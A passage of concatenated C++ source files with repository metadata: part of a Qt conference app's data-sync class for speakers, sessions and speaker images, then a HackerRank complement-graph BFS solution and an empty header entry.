DataUtil::calcSpeakerName(Speaker* speaker, SpeakerAPI* speakerAPI) { speaker->setName(speakerAPI->firstName()); if(speaker->name().length() > 0) { speaker->setName(speaker->name()+" "); } speaker->setName(speaker->name()+speakerAPI->lastName()); if(speaker->name().length() > 0) { if(speakerAPI->lastName().length() > 0) { speaker->setSortKey(speakerAPI->lastName().left(5).toUpper()); } else { speaker->setSortKey(speakerAPI->firstName().left(5).toUpper()); } speaker->setSortGroup(speaker->sortKey().left(1)); } else { speaker->setSortKey("*"); speaker->setSortGroup("*"); } } void DataUtil::prepareSpeaker() { const QString speakersPath = mDataManager->mDataAssetsPath + "conference/speaker.json"; qDebug() << "PREPARE SPEAKER "; QVariantList dataList; dataList = readSpeakerFile(speakersPath); if(dataList.size() == 0) { qWarning() << "Speaker List empty"; return; } mMultiSpeaker.clear(); for (int i = 0; i < dataList.size(); ++i) { SpeakerAPI* speakerAPI = mDataManager->createSpeakerAPI(); speakerAPI->fillFromForeignMap(dataList.at(i).toMap()); Speaker* speaker = mDataManager->createSpeaker(); speaker->setSpeakerId(speakerAPI->id()); calcSpeakerName(speaker, speakerAPI); speaker->setBio(speakerAPI->bio()); if(speakerAPI->avatar().length() > 0 && speakerAPI->avatar() != DEFAULT_SPEAKER_IMAGE_URL) { QString avatar = speakerAPI->avatar(); QStringList sl = avatar.split("?"); if(sl.size() > 1) { sl.removeLast(); avatar = sl.join("?"); } sl = avatar.split("."); if(sl.size() < 2) { qWarning() << "AVATAR wrong "+speakerAPI->avatar(); } else { avatar = avatar.replace("http://","https://"); SpeakerImage* speakerImage = mDataManager->createSpeakerImage(); speakerImage->setSpeakerId(speaker->speakerId()); speakerImage->setOriginImageUrl(avatar); speakerImage->setSuffix(sl.last()); mDataManager->insertSpeakerImage(speakerImage); speaker->resolveSpeakerImageAsDataObject(speakerImage); } } // using MultiMap to get Speakers sorted mMultiSpeaker.insert(speaker->sortKey(), speaker); } // end for all SpeakersAPI // insert sorted Speakers mDataManager->mAllSpeaker.clear(); QMapIterator<QString, Speaker*> speakerIterator(mMultiSpeaker); while (speakerIterator.hasNext()) { speakerIterator.next(); mDataManager->insertSpeaker(speakerIterator.value()); } } void DataUtil::prepareSpeakerImages() { const QString speakerImagesPath = mConferenceDataPath + "speakerImages/"; for (int i = 0; i < mDataManager->allSpeakerImage().size(); ++i) { SpeakerImage* speakerImage = (SpeakerImage*) mDataManager->allSpeakerImage().at(i); if (!speakerImage->downloadSuccess() && !speakerImage->downloadFailed()) { qDebug() << "loading..." << speakerImage->speakerId(); QString fileName; fileName = "speaker_"; fileName.append(QString::number(speakerImage->speakerId())); fileName.append('.'); fileName.append(speakerImage->suffix()); mImageLoader = new ImageLoader(speakerImage->originImageUrl(), speakerImagesPath+fileName, this); bool res = connect(mImageLoader, SIGNAL(loaded(QObject*, int, int)), this, SLOT(onSpeakerImageLoaded(QObject*, int, int))); if (!res) { Q_ASSERT(res); } res = connect(mImageLoader, SIGNAL(loadingFailed(QObject*, QString)), this, SLOT(onSpeakerImageFailed(QObject*, QString))); if (!res) { Q_ASSERT(res); } mImageLoader->loadSpeaker(speakerImage); return; } } // for all speaker images // N OW cache speaker images mDataManager->saveSpeakerImageToCache(); qDebug() << "SPEAKER IMAGES D O W N L O A D E D"; } void DataUtil::checkVersion() { mDataServer->requestVersion(); } void DataUtil::startUpdate() { bool dirOk = checkDirs(); if(!dirOk) { qWarning() << "Cannot create Directories"; emit updateFailed(tr("startUpdate - Cannot create Directories")); return; } mProgressInfotext = tr("Request Schedule and Speakers from Server"); emit progressInfo(mProgressInfotext); mDataServer->requestSchedule(); } void DataUtil::continueUpdate() { mProgressInfotext = tr("Save Favorites"); emit progressInfo(mProgressInfotext); // save F A V O R I T E S and bookmarks saveSessionFavorites(); // S P E A K E R mProgressInfotext = tr("Sync Speaker"); emit progressInfo(mProgressInfotext); const QString speakersPath = mConferenceDataPath + "speaker.json"; qDebug() << "PREPARE SPEAKER "; QVariantList dataList; dataList = readSpeakerFile(speakersPath); if(dataList.size() == 0) { qWarning() << "Speaker List empty"; emit updateFailed(tr("Update failed. No Speaker received.\nReloading current Data")); return; } mMultiSession.clear(); mMultiSpeaker.clear(); mMultiSpeakerImages.clear(); for (int i = 0; i < dataList.size(); ++i) { SpeakerAPI* speakerAPI = mDataManager->createSpeakerAPI(); speakerAPI->fillFromForeignMap(dataList.at(i).toMap()); Speaker* speaker = mDataManager->findSpeakerBySpeakerId(speakerAPI->id()); if(!speaker) { // NEW speaker qDebug() << "NEW SPEAKER"; mProgressInfotext.append("+"); speaker = mDataManager->createSpeaker(); speaker->setSpeakerId(speakerAPI->id()); } else { // update Speaker mProgressInfotext.append("."); } emit progressInfo(mProgressInfotext); calcSpeakerName(speaker, speakerAPI); speaker->setBio(speakerAPI->bio()); if(speakerAPI->avatar().length() > 0 && speakerAPI->avatar() != DEFAULT_SPEAKER_IMAGE_URL) { QString avatar = speakerAPI->avatar(); QStringList sl = avatar.split("?"); if(sl.size() > 1) { sl.removeLast(); avatar = sl.join("?"); } sl = avatar.split("."); if(sl.size() < 2) { qWarning() << "AVATAR wrong "+speakerAPI->avatar(); } else { // check if modified //avatar = avatar.replace("http://","https://"); if(speaker->hasSpeakerImage()) { if(speaker->speakerImageAsDataObject()->originImageUrl() != avatar) { qDebug() << "IMAGE Changed"; SpeakerImage* speakerImage = speaker->speakerImageAsDataObject(); speakerImage->setOriginImageUrl(avatar); speakerImage->setSuffix(sl.last()); mMultiSpeakerImages.insert(false, speakerImage); } } else { qDebug() << "IMAGE NEW"; SpeakerImage* speakerImage = mDataManager->createSpeakerImage(); speakerImage->setSpeakerId(speaker->speakerId()); speakerImage->setOriginImageUrl(avatar); speakerImage->setSuffix(sl.last()); speakerImage->setInAssets(false); speaker->resolveSpeakerImageAsDataObject(speakerImage); mMultiSpeakerImages.insert(false, speakerImage); } } // end if valid Avatar URL } // end check avatar if URL && not default // using MultiMap to get Speakers sorted mMultiSpeaker.insert(speaker->sortKey(), speaker); } // for speaker from server // qDebug() << "SPEAKERS: " << mDataManager->mAllSpeaker.size() << " --> " << mMultiSpeaker.size() << " IMG: " << mMultiSpeakerImages.size(); mProgressInfotext.append("\n").append(tr("Sync Speaker Images")); emit progressInfo(mProgressInfotext); updateSpeakerImages(); } void DataUtil::updateSpeakerImages() { if(mMultiSpeakerImages.size() > 0) { QList<SpeakerImage*> waitingForDownload = mMultiSpeakerImages.values(false); if(waitingForDownload.size() > 0) { mProgressInfotext.append("."); emit progressInfo(mProgressInfotext); // DO IT const QString speakerImagesPath = mConferenceDataPath + "speakerImages/"; SpeakerImage* speakerImage = waitingForDownload.first(); QString fileName; fileName = "speaker_"; fileName.append(QString::number(speakerImage->speakerId())); fileName.append('.'); fileName.append(speakerImage->suffix()); mImageLoader = new ImageLoader(speakerImage->originImageUrl(), speakerImagesPath+fileName, this); bool res = connect(mImageLoader, SIGNAL(loaded(QObject*, int, int)), this, SLOT(onSpeakerImageUpdateLoaded(QObject*, int, int))); if (!res) { Q_ASSERT(res); } res = connect(mImageLoader, SIGNAL(loadingFailed(QObject*, QString)), this, SLOT(onSpeakerImageUpdateFailed(QObject*, QString))); if (!res) { Q_ASSERT(res); } mImageLoader->loadSpeaker(speakerImage); return; } // waiting for download } // new images map // all done updateSessions(); } void DataUtil::updateAndAdjustLinks(QVariantMap &sessionMap) { QStringList linkKeys; QVariantList linksList; linksList = sessionMap.value("links").toList(); if (linksList.size() > 0) { for (int lvl = 0; lvl < linksList.size(); ++lvl) { QVariantMap map = linksList.at(lvl).toMap(); if(map.contains("url")) { QString linkUrl = map.value("url").toString(); SessionLink* sessionLink = nullptr; bool linkFound = false; for (int xsl = 0; xsl < mDataManager->allSessionLink().size(); ++xsl) { sessionLink = (SessionLink*) mDataManager->allSessionLink().at(xsl); if(sessionLink->url() == linkUrl) { linkFound = true; break; } } // end for all existing links if(!linkFound) { sessionLink = mDataManager->createSessionLink(); } sessionLink->setUrl(linkUrl); sessionLink->setTitle(map.value("title").toString()); if(!linkFound) { mDataManager->insertSessionLink(sessionLink); } linkKeys.append(sessionLink->uuid()); } // map contains url } // end for all links sessionMap.insert("links", linkKeys); } // end if linklist size } void DataUtil::updateSessions() { mProgressInfotext.append("\n").append(tr("Sync Sessions")); emit progressInfo(mProgressInfotext); mMultiSession.clear(); const QString schedulePath = mConferenceDataPath + "schedule.json"; QVariantMap map; map = readScheduleFile(schedulePath); if(map.isEmpty()) { qWarning() << "Schedule is no Map"; emit updateFailed(tr("Error: Received Map is empty.")); return; } map = map.value("schedule").toMap(); if(map.isEmpty()) { qWarning() << "No 'schedule' found"; emit updateFailed(tr("Error: Received Map missed 'schedule'.")); return; } map = map.value("conference").toMap(); if(map.isEmpty()) { qWarning() << "No 'conference' found"; emit updateFailed(tr("Error: Received Map missed 'conference'.")); return; } Conference* conference; if(mDataManager->allConference().isEmpty()) { emit updateFailed(tr("Error: Conference Not Found!")); return; } conference = (Conference*) mDataManager->allConference().first(); QVariantList dayList; dayList = map.value("days").toList(); if(dayList.isEmpty()) { qWarning() << "No 'days' found"; emit updateFailed(tr("Error: Received Map missed 'days'.")); return; } if(dayList.size() != 4) { qWarning() << "Wrong number of 'days' found"; emit updateFailed(tr("Error: # of 'days' expected: 4 - but got ")+QString::number(dayList.size())); return; } for (int i = 0; i < dayList.size(); ++i) { QVariantMap dayMap; dayMap = dayList.at(i).toMap(); if(dayMap.isEmpty()) { qWarning() << "No 'DAY' found #" << i; emit updateFailed(tr("Map for Day missed from Server")); continue; } QString dayDate; dayDate = dayMap.value("date").toString(); qDebug() << "processing DATE: " << dayDate; Day* day = findDayForServerDate(dayDate); if(!day) { qWarning() << "No Day* found for " << dayDate; emit updateFailed(tr("No Day* found for ")+dayDate); return; } bool found = false; QVariantMap roomMap; roomMap = dayMap.value("rooms").toMap(); QStringList roomKeys = roomMap.keys(); if(roomKeys.isEmpty()) { qWarning() << "No 'ROOMS' found for DAY # i"; emit updateFailed(tr("No 'ROOMS' found for DAY ") + dayDate); return; } for (int r = 0; r < roomKeys.size(); ++r) { QVariantList sessionList; sessionList = roomMap.value(roomKeys.at(r)).toList(); if(sessionList.isEmpty()) { qWarning() << "DAY: " << dayDate << " ROOM: " << roomKeys.at(r) << " ignored - No Sessions available"; continue; } Room* room = nullptr; found = false; for (int rl = 0; rl < mDataManager->mAllRoom.size(); ++rl) { room = (Room*) mDataManager->mAllRoom.at(rl); if(room->roomName() == roomKeys.at(r)) { found = true; break; } } if(!found) { qDebug() << "Room* not found for " << dayDate << " Room: " << roomKeys.at(r); room = mDataManager->createRoom(); conference->setLastRoomId(conference->lastRoomId()+1); room->setRoomId(conference->lastRoomId()); room->setInAssets(false); room->setRoomName(roomKeys.at(r)); mDataManager->insertRoom(room); mProgressInfotext.append("R"); progressInfo(mProgressInfotext); } for (int sl = 0; sl < sessionList.size(); ++sl) { QVariantMap sessionMap; sessionMap = sessionList.at(sl).toMap(); if(sessionMap.isEmpty()) { qWarning() << "No 'SESSION' Map DAY: " << dayDate << " ROOM: " << roomKeys.at(r); continue; } // adjust persons adjustPersons(sessionMap); // update and adjust SessionLink updateAndAdjustLinks(sessionMap); SessionAPI* sessionAPI = mDataManager->createSessionAPI(); sessionAPI->fillFromForeignMap(sessionMap); // ignore unwanted Sessions if (checkIfIgnored(sessionAPI)) { continue; } Session* session = mDataManager->findSessionBySessionId(sessionAPI->sessionId()); if(!session) { // NEW qDebug() << "NEW Session " << QString::number(sessionAPI->sessionId()); mProgressInfotext.append("+"); session = mDataManager->createSession(); session->setSessionId(sessionAPI->sessionId()); } else { // Update qDebug() << "Update Session " << QString::number(sessionAPI->sessionId()); mProgressInfotext.append("."); } emit progressInfo(mProgressInfotext); session->fillFromMap(sessionAPI->toMap()); setDuration(sessionAPI, session); // refs // DAY session->setSessionDay(day->id()); session->resolveSessionDayAsDataObject(day); // ROOM session->setRoom(room->roomId()); session->resolveRoomAsDataObject(room); // TRACK TYPE SCHEDULE isUpdate=true setTrackAndType(sessionAPI, session, conference, true); // SessionLinks // SORT session->setSortKey(day->conferenceDay().toString(YYYY_MM_DD)+session->startTime().toString(HH_MM)); mMultiSession.insert(session->sortKey(), session); } // end for sessions of a room of a day } // end for rooms of a day } // end for list of days from server qDebug() << "SESSIONS: " << mDataManager->mAllSession.size() << " --> " << mMultiSession.size(); // speaker, images, sessions, days, rooms, tracks --> cache // delete orphans mProgressInfotext.append("\n").append(tr("Schedule and Speaker successfully synchronized :)")); emit progressInfo(mProgressInfotext); finishUpdate(); } void DataUtil::finishUpdate() { mProgressInfotext.append("\n").append(tr("Now saving Conference Data to Cache")); emit progressInfo(mProgressInfotext); // Conference save last xxx Id's mDataManager->saveConferenceToCache(); qDebug() << "FINISH: Conference saved"; // Building not changed - always initialized from Prepare Conference // Floor not changed - always initialized from Prepare Conference // Room: clear sessions for update for (int r = 0; r < mDataManager->allRoom().size(); ++r) { Room* room = (Room*) mDataManager->allRoom().at(r); room->clearSessions(); } // to reset all correct resolveSessionsForRooms(); qDebug() << "FINISH: Rooms sessions cleared"; // SessionTrack: clear sessions for update for (int st = 0; st < mDataManager->allSessionTrack().size(); ++st) { SessionTrack* track = (SessionTrack*) mDataManager->allSessionTrack().at(st); track->clearSessions(); qDebug() << "clear sessions for Track " << track->name(); } // to reset all correct resolveSessionsForTracks(); qDebug() << "FINISH: Tracks sessions cleared"; // Day: clear sessions for update for (int d = 0; d < mDataManager->allDay().size(); ++d) { Day* day = (Day*) mDataManager->allDay().at(d); day->clearSessions(); } // to reset all correct resolveSessionsForSchedule(); qDebug() << "FINISH: Days sessions cleared"; // Speaker: insert sorted Speakers, clear Sessions mDataManager->mAllSpeaker.clear(); QMapIterator<QString, Speaker*> speakerIterator(mMultiSpeaker); while (speakerIterator.hasNext()) { speakerIterator.next(); Speaker* speaker = speakerIterator.value(); speaker->clearSessions(); resolveSessionsForSpeaker(speaker); mDataManager->insertSpeaker(speaker); } qDebug() << "FINISH: Sorted Speakers inserted"; // Check orphans for (int i = 0; i < mDataManager->mAllSession.size(); ++i) { Session* session = (Session*) mDataManager->mAllSession.at(i); bool sessionFound = false; QMapIterator<QString, Session*> sessionIterator(mMultiSession); while (sessionIterator.hasNext()) { sessionIterator.next(); Session* updatedSession = sessionIterator.value(); if(updatedSession->sessionId() == session->sessionId()) { sessionFound = true; break; } } if(!sessionFound) { session->deleteLater(); qDebug() << "Session removed: " << session->sessionId(); } } qDebug() << "FINISH: Session orphans deleted"; // Session: insert sorted Sessions // presenter, sessionLinks, day, room, track scheduleItem are updated mDataManager->mAllSession.clear(); // now insert sorted Sessions, update sessions for Day, Room, Tracks, Speaker sortedSessionsIntoRoomDayTrackSpeaker(); qDebug() << "FINISH: Rooms Days Tracks Speaker Sessions sorted"; mDataManager->saveSessionToCache(); qDebug() << "FINISH: Sessions saved"; // SessionLink mDataManager->saveSessionLinkToCache(); qDebug() << "FINISH: SessionLinks saved"; // ScheduleItem mDataManager->saveScheduleItemToCache(); qDebug() << "FINISH: ScheduleItems saved"; // SPEAKER mDataManager->saveSpeakerToCache(); qDebug() << "FINISH: Speaker saved"; // insert Speaker Images // do NOT mDataManager->mAllSpeakerImage.clear(); // mMultiSpeakerImages contains NEW or UPDATED Speaker Images ! QMapIterator<bool, SpeakerImage*> speakerImagesIterator(mMultiSpeakerImages); while (speakerImagesIterator.hasNext()) { speakerImagesIterator.next(); SpeakerImage* speakerImage = speakerImagesIterator.value(); if(!mDataManager->findSpeakerImageBySpeakerId(speakerImage->speakerId())) { // a NEW Speaker Image qDebug() << "detcted NEW Speaker Image: " << speakerImage->speakerId(); mDataManager->insertSpeakerImage(speakerImage); } else { qDebug() << "detcted UPDATED Speaker Image: " << speakerImage->speakerId(); } } mDataManager->saveSpeakerImageToCache(); qDebug() << "FINISH: Speaker Images saved"; // Track sort by Name QMultiMap<QString, SessionTrack*> sessionTrackSortMap; for (int i = 0; i < mDataManager->allSessionTrack().size(); ++i) { SessionTrack* sessionTrack = (SessionTrack*) mDataManager->allSessionTrack().at(i); sessionTrackSortMap.insert(sessionTrack->name(), sessionTrack); } qDebug() << "FINISH: Tracks sorted by Name"; mDataManager->mAllSessionTrack.clear(); QMapIterator<QString, SessionTrack*> sessionTrackIterator(sessionTrackSortMap); while (sessionTrackIterator.hasNext()) { sessionTrackIterator.next(); SessionTrack* sessionTrack = sessionTrackIterator.value(); mDataManager->insertSessionTrack(sessionTrack); } // save all Tracks with sorted Sessions mDataManager->saveSessionTrackToCache(); qDebug() << "FINISH: Tracks saved"; // Day: save all days with sorted Sessions mDataManager->saveDayToCache(); qDebug() << "FINISH: Days saved"; // Rooms: save all Rooms with sorted Sessions mDataManager->saveRoomToCache(); qDebug() << "FINISH: Rooms saved"; // SETTINGS update API mDataManager->mSettingsData->setApiVersion(mNewApi); mDataManager->mSettingsData->setLastUpdate(QDateTime::currentDateTime()); // mProgressInfotext.append("\n").append(tr("All done")); emit progressInfo(mProgressInfotext); qDebug() << "FINISH: All Done"; emit updateDone(); } // U T I L I T Y S to manage Conference data /** * Favorites are transient on Sessions * Sessions are read-only * So at startup the propertie will be set */ void DataUtil::setSessionFavorites() { for (int i = 0; i < mDataManager->mAllFavorite.size(); ++i) { Favorite* favorite = (Favorite*) mDataManager->mAllFavorite.at(i); Session* session = mDataManager->findSessionBySessionId(favorite->sessionId()); if(session != NULL) { session->setIsFavorite(true); } } } /** * Favorites are transient on Sessions * Sessions are read-only * So while caching data Favorites will be created */ void DataUtil::saveSessionFavorites() { mDataManager->mAllFavorite.clear(); for (int i = 0; i < mDataManager->mAllSession.size(); ++i) { Session* session = (Session*) mDataManager->mAllSession.at(i); if(session->isFavorite()) { Favorite* favorite = mDataManager->createFavorite(); favorite->setSessionId(session->sessionId()); mDataManager->insertFavorite(favorite); } } } /** * list of sessions for a Day are lazy * (only IDs stored in an Array) * for the Conference we always need all to create the schedule * so at startup or update this will be called */ void DataUtil::resolveSessionsForSchedule() { for (int i = 0; i < mDataManager->mAllDay.size(); ++i) { Day* day = (Day*) mDataManager->mAllDay.at(i); day->resolveSessionsKeys(mDataManager->listOfSessionForKeys(day->sessionsKeys())); } } /** * list of sessions for a Track are lazy * (only IDs stored in an Array) * this will be called as soon as Tracks are first time displayed */ void DataUtil::resolveSessionsForTracks() { for (int i = 0; i < mDataManager->mAllSessionTrack.size(); ++i) { SessionTrack* sessionTrack = (SessionTrack*) mDataManager->mAllSessionTrack.at(i); sessionTrack->resolveSessionsKeys(mDataManager->listOfSessionForKeys(sessionTrack->sessionsKeys())); } } void DataUtil::resolveSessionsForRooms() { for (int i = 0; i < mDataManager->mAllRoom.size(); ++i) { Room* room = (Room*) mDataManager->mAllRoom.at(i); room->resolveSessionsKeys(mDataManager->listOfSessionForKeys(room->sessionsKeys())); } } void DataUtil::resolveSessionsForSpeaker(Speaker* speaker) { speaker->resolveSessionsKeys(mDataManager->listOfSessionForKeys(speaker->sessionsKeys())); } QString DataUtil::scheduleTabName(int tabBarIndex) { if(mDataManager->mAllDay.size()<(tabBarIndex +1)) { return "??"; } Day* day = (Day*) mDataManager->mAllDay.at(tabBarIndex); //return day->conferenceDay().toString("ddd (dd)"); return QDate::shortDayName(day->conferenceDay().dayOfWeek()); } SessionLists *DataUtil::mySchedule() { return mSessionLists; } void DataUtil::refreshMySchedule() { mSessionLists->clearScheduledSessions(); for (int i = 0; i < mDataManager->allSession().size(); ++i) { Session* session = (Session*) mDataManager->allSession().at(i); if(!session->isDeprecated() && session->isFavorite()) { mSessionLists->addToScheduledSessions(session); } } qDebug() << "MY SCHEDLUE #:" << mSessionLists->scheduledSessionsCount(); emit myScheduleRefreshed(); } int DataUtil::findFirstSessionItem(int conferenceDayIndex, QString pickedTime) { if(conferenceDayIndex < 0 || conferenceDayIndex > (mDataManager->mAllDay.size()-1)) { qDebug() << "Day Index wrong: conferenceDayIndex"; return -1; } Day* day = (Day*) mDataManager->mAllDay.at(conferenceDayIndex); for (int i = 0; i < day->sessions().size(); ++i) { Session* session = day->sessions().at(i); QString theTime = session->sortKey().right(5); if(theTime >= pickedTime) { return i; } } return day->sessions().size(); } int DataUtil::findFirstSpeakerItem(QString letter) { for (int i = 0; i < mDataManager->mAllSpeaker.size(); ++i) { Speaker* speaker = (Speaker*) mDataManager->mAllSpeaker.at(i); if(speaker->sortGroup() >= letter) { return i; } } return mDataManager->mAllSpeaker.size(); } // Sortkey: day->conferenceDay().toString(YYYY_MM_DD)+session->startTime().toString("HH:mm") QString DataUtil::localWeekdayAndTime(QString sessionSortkey) { QDateTime sortTime = QDateTime::fromString(sessionSortkey, YYYY_MM_DD_HH_MM); QString weekDayAndTime = sortTime.toString(DAYNAME); weekDayAndTime.append(", "); QTime myTime = QTime::fromString(sessionSortkey.right(5)); weekDayAndTime.append(myTime.toString(Qt::SystemLocaleShortDate)); return weekDayAndTime; } QString DataUtil::apiInfo() { QString apiInfo = tr("API Version "); apiInfo.append(mDataManager->settingsData()->apiVersion()); apiInfo.append(("\n")).append(tr("Last Update ")); if(mDataManager->mSettingsData->hasLastUpdate()) { apiInfo.append(mDataManager->mSettingsData->lastUpdate().toString(Qt::SystemLocaleShortDate)); } else { apiInfo.append("n/a"); } return apiInfo; } // DOWNLOAD S P E A K E R I M A G E S // SLOT UPDATE CONFERENCE void DataUtil::onSpeakerImageUpdateLoaded(QObject *dataObject, int width, int height) { mImageLoader->deleteLater(); SpeakerImage* speakerImage = (SpeakerImage*) dataObject; qDebug() << "onSpeakerImage L O A D E D "; speakerImage->setDownloadSuccess(true); speakerImage->setDownloadFailed(false); speakerImage->setInAssets(false); speakerImage->setInData(true); prepareHighDpiImages(speakerImage, width, height); // set update flag int count = mMultiSpeakerImages.remove(false, speakerImage); if(count != 1) { qWarning() << "something went wrong: the SpeakerImage MUST exist in MultiMap"; } mMultiSpeakerImages.insert(true, speakerImage); // check for more updateSpeakerImages(); } void DataUtil::onSpeakerImageUpdateFailed(QObject *dataObject, QString message) { mImageLoader->deleteLater(); SpeakerImage* speakerImage = (SpeakerImage*) dataObject; qDebug() << "UPDATE: Cannot load Speaker Image: " << message << speakerImage->speakerId(); speakerImage->setDownloadSuccess(false); speakerImage->setDownloadFailed(true); speakerImage->setInAssets(false); speakerImage->setInData(false); // set update flag int count = mMultiSpeakerImages.remove(false, speakerImage); if(count != 1) { qWarning() << "something went wrong: the SpeakerImage MUST exist in MultiMap"; } mMultiSpeakerImages.insert(true, speakerImage); // check for more updateSpeakerImages(); } // SLOT PREPARE CONFERENCE void DataUtil::onSpeakerImageLoaded(QObject *dataObject, int width, int height) { mImageLoader->deleteLater(); SpeakerImage* speakerImage = (SpeakerImage*) dataObject; qDebug() << "loaded..." << speakerImage->speakerId() << " " << width << "x" << height; speakerImage->setDownloadSuccess(true); speakerImage->setDownloadFailed(false); speakerImage->setInAssets(true); speakerImage->setInData(false); prepareHighDpiImages(speakerImage, width, height); // more to load ? prepareSpeakerImages(); } void DataUtil::onSpeakerImageFailed(QObject *dataObject, QString message) { mImageLoader->deleteLater(); SpeakerImage* speakerImage = (SpeakerImage*) dataObject; qDebug() << "PREPARE: Cannot load Speaker Image: " << message << speakerImage->speakerId(); speakerImage->setDownloadSuccess(false); speakerImage->setDownloadFailed(true); speakerImage->setInAssets(false); speakerImage->setInData(false); // more to load ? prepareSpeakerImages(); } void DataUtil::prepareHighDpiImages(SpeakerImage* speakerImage, int width, int height) { const QString speakerImagesPath = mConferenceDataPath + "speakerImages/"; QString fileName; fileName = speakerImagesPath + "speaker_"; fileName.append(QString::number(speakerImage->speakerId())); QString originFileName; originFileName = fileName + "." + speakerImage->suffix(); const int size1 = 64; const int size2 = 128; const int size3 = 192; const int size4 = 256; if(width >= height) { if(width < size1) { speakerImage->setMaxScaleFactor(0); return; } QFile originFile(originFileName); if(!originFile.exists()) { qWarning() << "SpeakerImage Path not found " << originFileName; return; } if (!originFile.open(QIODevice::ReadOnly)) { qWarning() << "Couldn't open file: " << originFileName; return; } QImage originImage = QImage::fromData(originFile.readAll()); if(originImage.isNull()) { qWarning() << "Cannot construct Image from file: " << originFileName; return; } QImage scaledImage; if(width >= size1) { scaledImage = originImage.scaledToWidth(size1); scaledImage.save(originFileName); speakerImage->setMaxScaleFactor(1); } if(width >= size2) { scaledImage = originImage.scaledToWidth(size2); scaledImage.save(fileName+"@2x."+speakerImage->suffix()); speakerImage->setMaxScaleFactor(2); } if(width >= size3) { scaledImage = originImage.scaledToWidth(size3); scaledImage.save(fileName+"@3x."+speakerImage->suffix()); speakerImage->setMaxScaleFactor(3); } if(width >= size4) { scaledImage = originImage.scaledToWidth(size4); scaledImage.save(fileName+"@4x."+speakerImage->suffix()); speakerImage->setMaxScaleFactor(4); } } else { if(height < size1) { speakerImage->setMaxScaleFactor(0); return; } QFile originFile(originFileName); if(!originFile.exists()) { qWarning() << "SpeakerImage Path not found " << originFileName; return; } if (!originFile.open(QIODevice::ReadOnly)) { qWarning() << "Couldn't open file: " << originFileName; return; } QImage originImage = QImage::fromData(originFile.readAll()); if(originImage.isNull()) { qWarning() << "Cannot construct Image from file: " << originFileName; return; } QImage scaledImage; if(height >= size1) { scaledImage = originImage.scaledToHeight(size1); scaledImage.save(originFileName); speakerImage->setMaxScaleFactor(1); } if(height >= size2) { scaledImage = originImage.scaledToHeight(size2); scaledImage.save(fileName+"@2x."+speakerImage->suffix()); speakerImage->setMaxScaleFactor(2); } if(height >= size3) { scaledImage = originImage.scaledToHeight(size3); scaledImage.save(fileName+"@3x."+speakerImage->suffix()); speakerImage->setMaxScaleFactor(3); } if(height >= size4) { scaledImage = originImage.scaledToHeight(size4); scaledImage.save(fileName+"@4x."+speakerImage->suffix()); speakerImage->setMaxScaleFactor(4); } } } // S L O T S void DataUtil::onServerSuccess() { qDebug() << "S U C C E S S"; const QString schedulePath = mConferenceDataPath + "schedule.json"; qDebug() << "CHECK FOR UPDATE SESSIONS "; QVariantMap map; map = readScheduleFile(schedulePath); if(map.isEmpty()) { qWarning() << "Schedule is no Map"; emit checkForUpdateFailed(tr("Error: Received Map is empty.")); return; } map = map.value("schedule").toMap(); if(map.isEmpty()) { qWarning() << "No 'schedule' found"; emit checkForUpdateFailed(tr("Error: Received Map missed 'schedule'.")); return; } // now do the real work continueUpdate(); } void DataUtil::onVersionSuccess(QByteArray currentVersionBytes) { QJsonDocument jda; jda = QJsonDocument::fromJson(currentVersionBytes); if(!jda.isObject()) { onVersionFailed(tr("No JSON Object received for Version Check")); return; } QVariantMap versionMap = jda.toVariant().toMap(); if(versionMap.isEmpty()) { onVersionFailed(tr("Version Check: received Version Map is empty")); return; } if(!versionMap.contains("version")) { onVersionFailed(tr("Version Check: received Version Map missed Version Property")); return; } mNewApi = versionMap.value("version").toString(); if(mNewApi.isEmpty()) { onVersionFailed(tr("Error: Received Map missed 'version'.")); return; } qDebug() << "VERSION: " + mNewApi; QStringList versionList; versionList = mNewApi.split("."); if(versionList.size() != 2) { emit onVersionFailed(tr("Error: 'Version' wrong: ")+mNewApi); return; } if(mDataManager->mSettingsData->apiVersion().length() == 0) { emit updateAvailable(mNewApi); return; } QStringList oldVersionList; oldVersionList = mDataManager->mSettingsData->apiVersion().split("."); if(oldVersionList.size() != 2) { emit updateAvailable(mNewApi); return; } int oldValue = oldVersionList.at(0).toInt(); int newValue = versionList.at(0).toInt(); if(oldValue > newValue) { emit noUpdateRequired(); return; } oldValue = oldVersionList.at(0).toInt(); newValue = versionList.at(0).toInt(); if(oldValue < newValue) { emit updateAvailable(mNewApi); return; } oldValue = oldVersionList.at(1).toInt(); newValue = versionList.at(1).toInt(); if(oldValue < newValue) { emit updateAvailable(mNewApi); return; } emit noUpdateRequired(); } void DataUtil::onVersionFailed(const QString message) { qDebug() << "Version failed" << message; emit checkForUpdateFailed(message); } void DataUtil::onServerFailed(QString message) { qDebug() << "FAILED: " << message; emit updateFailed(message); }

6f9e2a1251e0d80527ebef9b1764f62a60cc7984

c26e9d3f92d95f7ce9d0fd5ef2c18dd95ec209a5

/hackerrank/graph/murderer.cpp

1fb9dd65652537e7209bab94ed2d7f66c6acb818

no_license

crystal95/Competetive-Programming-at-different-platforms

c9ad1684f6258539309d07960ed6abfa7d1a16d0

92d283171b0ae0307e9ded473c6eea16f62cb60e

refs/heads/master

UTF-8

C++

cpp

using namespace std; #include <stdio.h> #include <stdlib.h> #include <string.h> #include <vector> #include <iostream> #include <queue> #include <algorithm> #include <unordered_set> typedef long long int ll; typedef pair<int,int> ii; void bfs(vector<vector<int> > &adj,int s,vector<int> &dis,int n) { int i ; unordered_set<int> unvisited; for(i=1;i<=n;i++) unvisited.insert(i); queue<int> q; q.push(s); unvisited.erase(s); while(!q.empty()) { int tmp=q.front(); q.pop(); for(auto it=unvisited.begin();it!=unvisited.end();++it) { if(find(adj[tmp].begin(),adj[tmp].end(),*it)==adj[tmp].end()) { q.push(*it); dis[*it]=dis[tmp]+1; unvisited.erase(*it); } } } } int main() { int T; cin>>T; while(T--) { int i,n,m,u,v,s,w,start; cin>>n>>m; vector<vector<int > > adj(n+1); vector<int> dis(n+1,0); for(i=0;i<m;i++) { cin>>u>>v; adj[u].push_back(v); adj[v].push_back(u); } cin>>start; bfs(adj,start,dis,n); for(i=1;i<=n;i++) { if(start!=i) cout<<dis[i]<<" "; } cout<<endl; } return 0; }

4e89d201e9071b02907197f3ed2bc6f329965e34

a764bdaf1b24a8257648537d14e6a9f02edd7af8

/src/Location.h

4bec0c1d8d57e464b5a7022d5e47f7715cc21eab

permissive

jonatajefferson/irp

ced568bb82dcfcd29da54c1e8f48a8ab43b6d6fd

7171a506550eac8b3a8683b2d4dba198969828b3

refs/heads/master

UTF-8

C++

h

